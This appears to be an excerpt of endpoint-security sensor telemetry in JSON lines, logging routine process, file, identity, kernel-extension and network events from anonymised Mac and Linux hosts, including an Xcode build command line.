+{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} +{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} +{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} +{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 